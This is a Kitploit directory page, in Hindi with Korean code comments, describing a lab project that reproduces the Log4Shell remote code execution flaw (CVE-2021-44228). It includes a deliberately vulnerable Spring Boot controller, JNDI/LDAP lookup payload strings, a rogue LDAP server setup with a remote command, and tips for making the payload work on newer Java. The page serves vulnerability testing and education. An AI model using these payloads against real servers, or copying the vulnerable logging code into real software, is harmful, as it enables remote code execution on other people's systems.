Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
log4j2-test — Log4j2 LDAP भेद्यता परीक्षण (CVE-2021-44228) | Kitploit
उपकरण/GitHubGitHub/mklinkj/log4j2-test
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षालैब और अभ्यास
GitHubmklinkj/log4j2-test

log4j2-test

Log4j2 LDAP भेद्यता परीक्षण (CVE-2021-44228)

रिपॉजिटरी देखें
12 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Log4j2 2.14.1 LDAP रिमोट कोड एक्ज़ीक्यूशन भेद्यता (CVE-2021-44228) सत्यापन

🎈 Spring Boot 2.x वातावरण में परीक्षण किया गया

  • भेद्यता अधिसूचना
    • https://nvd.nist.gov/vuln/detail/CVE-2021-44228

target-server

  • pom.xml : Log4j2 संस्करण को भेद्य संस्करण में घटाया गया

    root@kitploit:~
    <properties>
      <java.version>17</java.version>
      <!-- 현재 설정된 Spring Boot 버전은 취약점이 존재하는 log4j 2.14.1 보다 높은 버전을 가지기 때문에, 일부러 버전을 낮춘다.-->
      <log4j2.version>2.14.1</log4j2.version>
    </properties>
    
  • LoggingController : उपयोगकर्ता के इनपुट को सीधे प्राप्त करके लॉग करने वाली कंट्रोलर विधि जोड़ी गई

    root@kitploit:~
      @PostMapping("/form")
      public String form(String ldapString, RedirectAttributes rttr) {
        try {
          LOGGER.info("{}", ldapString);
          rttr.addFlashAttribute("exception", "예외 발생 X");
        } catch (Exception e) {
          rttr.addFlashAttribute("exception", "예외발생 O: " + e.getMessage());
        }
        return "redirect:/";
      }
    
  • ब्राउज़र में चलाएँ

    target-server-view.png

  • व्यवहार सत्यापन विवरण

    1. वास्तव में ${jndi:ldap://127.0.0.1:19090/run} स्ट्रिंग को सर्वर पर भेजने पर, सर्वर 127.0.0.1:19090 से कनेक्ट करने का प्रयास करता है।

      root@kitploit:~
      2022-01-03 13:16:52.526  INFO 14736 --- [nio-8080-exec-7] o.m.t.c.LoggingController                : ${jndi:ldap://127.0.0.1:19090/run}
      2022-01-03 13:17:09,993 http-nio-8080-exec-10 WARN Error looking up JNDI resource [ldap://127.0.0.1:19090/run]. javax.naming.CommunicationException: 127.0.0.1:19090 [Root exception is java.net.ConnectException: Connection refused: connect]
      ...
      

      चूँकि लोकल 19090 पोर्ट पर LDAP सर्वर चालू नहीं था, इसलिए Connection refused: connect अपवाद के साथ एरर लॉग दर्ज हुआ।

    2. LOGGER.info("{}", ldapString); कोड में JNDI एरर अपवाद नहीं फेंका गया।

      • ऐसा लगता है कि लॉग को ध्यान से न देखे बिना आगे बढ़ने पर इसे आसानी से भूला जा सकता है।

    ldap-server

    https://github.com/veracode-research/rogue-jndi इस कोड से केवल Tomcat से संबंधित भाग की जाँच की गई और इसे एक सरल Spring Boot प्रोजेक्ट के रूप में तैयार किया गया।

    केवल Tomcat संबंधित भाग की जाँच करने का कारण...

    चूँकि लक्षित टेस्ट सर्वर Spring Boot के अंतर्निहित Tomcat पर आधारित है, इसलिए केवल Tomcat की जाँच करके भी भेद्यता के व्यवहार की पुष्टि हो सकती है, ऐसा मानकर यह तरीका अपनाया गया।

    कमांड की तैयारी

    केवल साधारण कैलकुलेटर चलाना बहुत ही सरल लगा, इसलिए cmd कमांड को जोड़कर देखा।

    • ldapserver-config.properties

      root@kitploit:~
      # 타겟 서버의 윈도우 OS 버전을 텍스트 파일에 기록한 다음 메모장으로 여는 내용
      ldaptest.remote.command=cmd /c ver > test.txt && notepad test.txt
      ...
      

    वास्तव में प्रयास करने पर टेस्ट टारगेट सर्वर पर रिमोट एक्ज़ीक्यूशन सचमुच संभव हुआ। सत्यापन का तरीका नीचे दिया गया है।

    1. ldap-server सर्वर, traget-server चलाएँ

      root@kitploit:~
      # LDAP 서버 실행
      C:\git-mklinkj\log4j2-test\ldap-server>mvnw clean spring-boot:run
      
      # 테스트 타겟 서버 실행
      C:\git-mklinkj\log4j2-test\target-server>mvnw clean spring-boot:run
      
    2. टेस्ट टारगेट सर्वर पर ${jndi:ldap://127.0.0.1:19090/o=tomcat} स्ट्रिंग भेजकर सत्यापन करें

      remote-code-executed

      target-server प्रोजेक्ट की रूट में test.txt फ़ाइल बनाई गई और नोटपैड के माध्यम से चलाई गई।

    Java 15 या उससे ऊपर के वातावरण में सत्यापन करते समय...

    टारगेट Tomcat को भेजे जाने वाले Payload के निर्माण में Java की JavaScript इम्प्लीमेंटेशन Nashorn का उपयोग किया जाता है, लेकिन Java 15 से Nashorn को पूरी तरह हटा दिया गया। इसलिए ldap सर्वर टारगेट Tomcat को कमांड भेज देता था, लेकिन कमांड निष्पादित नहीं होने की समस्या थी।

    ऐसे में.. टारगेट Tomcat सर्वर में nashorn-core या rhino-engine में से किसी एक को ही लाइब्रेरी के रूप में जोड़ना पर्याप्त था।

    root@kitploit:~
    <dependency>
      <groupId>org.openjdk.nashorn</groupId>
      <artifactId>nashorn-core</artifactId>
      <version>${nashorn.version}</version>
    </dependency>
    
    root@kitploit:~
    <dependency>
      <groupId>org.mozilla</groupId>
      <artifactId>rhino-engine</artifactId>
      <version>${rhino-engine.version}</version>
    </dependency>
    
    • संदर्भ
      • JEP 372: Remove the Nashorn JavaScript Engine
        • https://openjdk.java.net/jeps/372
      • Known problems and workarounds
        • https://apache.github.io/jmeter-site-preview/site/changes.html

    Maven POM पैरेंट-चाइल्ड संबंध में प्रोजेक्ट चलाना

    वर्जन प्रबंधन आसान बनाने के लिए pom.xml को पैरेंट-चाइल्ड संबंध में संशोधित किया गया है, इसे निम्नानुसार पैरेंट pom वाली डायरेक्टरी से चलाया जा सकता है।

    root@kitploit:~
    # 전체 테스트
    $ mvnw clean test
    
    # 백그라운드로 실행하지 않으므로 별도의 콘솔창에서 각각 실행햐아한다.
    $ mvnw clean spring-boot:run -pl ldap-server
    $ mvnw clean spring-boot:run -pl target-server
    
    # 하위 프로젝트 디렉토리에 직접 들어가서 실행해도 된다.
    $ cd target-server
    $ mvnw clean spring-boot:run
    

    अनुभव

    • वास्तव में करके देखने पर लगता है कि यदि इस भेद्यता को अनदेखा छोड़ दिया जाए तो यह सचमुच खतरनाक है। डेवलपमेंट और स्टेजिंग वातावरण में परीक्षण करके यह जाँच की जानी चाहिए कि ऐसा कोई हिस्सा नहीं है जो LDAP कनेक्शन उत्पन्न करता हो।
    • rogue-jndi रिपॉजिटरी के लेखक Michael Stepankin जी की बदौलत ही सत्यापन संभव हो सका, धन्यवाद! 😄

    अस्वीकरण

    यह सॉफ़्टवेयर केवल शैक्षिक उद्देश्यों और/या उन सिस्टमों के परीक्षण के लिए प्रदान किया जाता है जिन पर उपयोगकर्ता ने पहले से हमले की अनुमति दी हो।
    (rogue-jndi में भी यह वाक्य जोड़ा गया था, इसलिए यहाँ भी जोड़ दिया। 😓)

    टूल डाउनलोड करें